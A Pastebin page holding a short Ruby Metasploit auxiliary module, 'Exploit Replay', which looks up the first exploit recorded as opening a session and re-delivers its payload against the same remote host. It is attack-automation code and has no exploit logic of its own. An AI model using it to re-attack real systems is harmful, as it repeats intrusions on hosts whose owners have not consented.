Advertisement
Guest User

Untitled

a guest
Jun 26th, 2017
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.13 KB | None | 0 0
  1. require 'msf/core'
  2.  
  3. class Metasploit3 < Msf::Auxiliary
  4.     Rank = ManualRanking
  5.  
  6.     def initialize(info = {})
  7.         super(update_info(info,
  8.             'Name'           => 'Exploit Replay',
  9.             'Description'    => %q{
  10.                 Replays the first attack recorded in the database as having opened a session
  11.             },
  12.             'License'        => BSD_LICENSE,
  13.             'Author'         =>  ['chao-mu'],
  14.             'References'     =>  [ ],
  15.             'Targets'        => [ [ 'Wildcard Target', { } ] ],
  16.             'DefaultTarget'  => 0
  17.             ))
  18.     end
  19.  
  20.     def run
  21.         framework.db.events.each do |e|
  22.             next unless e.name=='session_open'
  23.            
  24.             info = YAML.load(e.info) rescue e.info
  25.            
  26.             next unless info[:via_exploit]
  27.  
  28.             run_exploit(info[:via_exploit], info[:datastore])
  29.  
  30.             break
  31.         end
  32.     end
  33.  
  34.     def run_exploit(exploit_name, options)
  35.         payload = options['PAYLOAD']
  36.  
  37.         print_status "Delivering #{payload} against #{options['RHOST']} by way of #{exploit_name}"
  38.  
  39.         exploit = framework.exploits.create(exploit_name.sub('exploit/', ''))
  40.        
  41.         exploit.exploit_simple(
  42.             'Options'     => options,
  43.             'LocalInput'  => self.user_input,
  44.             'LocalOutput' => self.user_output,
  45.             'Payload'     => payload,
  46. )#          'RunAsJob'    => true)     
  47.     end
  48. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement